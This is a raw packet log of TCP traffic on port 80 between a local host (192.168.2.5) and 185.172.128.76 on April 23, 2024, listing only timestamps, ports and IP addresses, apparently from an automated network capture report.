Apr 23, 2024 09:32:55.070415020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.070432901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.070447922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.070462942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.196408033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.196639061 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:55.445512056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:55.651194096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.755346060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.755460978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.755497932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.755537987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.755546093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:55.755574942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.755577087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:55.755611897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.755624056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:55.755651951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.755655050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:55.755688906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.755691051 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:55.755726099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.755727053 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:55.755762100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.755765915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:55.755800009 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:55.961787939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.961853981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.961874962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.961895943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.961920977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.961956024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.961992979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.962001085 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:55.962030888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.962043047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:55.962066889 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:55.962068081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.962105989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:55.962125063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.962160110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:55.962162018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.962198019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.962213993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:55.962234974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.962239027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:55.962270021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.962281942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:55.962311983 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:55.962337971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.962380886 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:55.962387085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.962424040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.962429047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:55.962459087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.962465048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:55.962495089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.962505102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:55.962532043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:55.962538004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:55.962574005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.168277979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.168337107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.168354988 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.168435097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.168447971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.168488026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.168494940 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.168520927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.168524027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.168561935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.168564081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.168597937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.168598890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.168634892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.168664932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.168672085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.168673038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.168715954 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.168724060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.168760061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.168795109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.168797970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.168831110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.168831110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.168864965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.168865919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.168900967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.168903112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.168936014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.168937922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.168972969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.168977022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.169009924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.169013977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.169044971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.169050932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.169079065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.169080973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.169116974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.169117928 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.169152975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.169154882 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.169188023 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.169190884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.169220924 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.169223070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.169259071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.169260025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.169296980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.169300079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.169334888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.169342041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.169370890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.169375896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.169405937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.169410944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.169441938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.169450045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.169476986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.169477940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.169512033 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.169514894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.169550896 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.169555902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.169585943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.169588089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.169621944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.169621944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.169658899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.169661045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.169694901 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.169694901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.169729948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.169729948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.169764996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.169771910 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.169802904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.169804096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.169840097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.375854969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.375922918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.375991106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376012087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376014948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376051903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376055956 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376091003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376104116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376143932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376152992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376180887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376215935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376226902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376251936 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376264095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376264095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376287937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376300097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376322985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376332998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376358032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376373053 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376394033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376400948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376430988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376439095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376466990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376472950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376504898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376517057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376540899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376543999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376576900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376588106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376612902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376620054 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376650095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376666069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376687050 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376694918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376722097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376730919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376758099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376770973 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376792908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376794100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376830101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376837015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376866102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376878023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376902103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376905918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376936913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376946926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.376972914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.376976967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377010107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377016068 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377046108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377054930 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377084017 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377087116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377119064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377130032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377155066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377161026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377190113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377196074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377227068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377233028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377263069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377276897 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377299070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377302885 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377334118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377343893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377370119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377372026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377405882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377407074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377443075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377446890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377477884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377485991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377513885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377517939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377548933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377556086 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377584934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377587080 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377621889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377630949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377660036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377661943 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377696037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377728939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377731085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377751112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377768040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377769947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377804041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377804995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377837896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377842903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377878904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377880096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377913952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377917051 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377949953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.377953053 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377978086 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.377985954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.378021955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.378031015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.378057957 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.378057957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.378094912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.378103018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.378130913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.378138065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.378165960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.378171921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.378209114 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.378222942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.378257990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.378266096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.378295898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.378304958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.378331900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.378334999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.378365040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.378366947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.378398895 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.378401995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.378437996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.378439903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.378475904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.378475904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.378513098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.378514051 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.378547907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.378550053 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.378582954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.378585100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.378622055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.378623962 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.378660917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.378696918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.378731012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.378766060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.378783941 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.378803015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.378819942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.378839016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.378849983 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.378884077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.584458113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.584498882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.584543943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.584563971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.584583998 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.584603071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.584625006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.584644079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.584662914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.584682941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.584701061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.584718943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.584717989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.584717989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.584717989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.584738016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.584758043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.584763050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.584763050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.584763050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.584777117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.584789991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.584795952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.584815025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.584821939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.584834099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.584849119 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.584852934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.584871054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.584873915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.584888935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.584907055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.584916115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.584925890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:56.584938049 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:56.584944963 CEST	80	49704	185.172.128.76	192.168.2.5
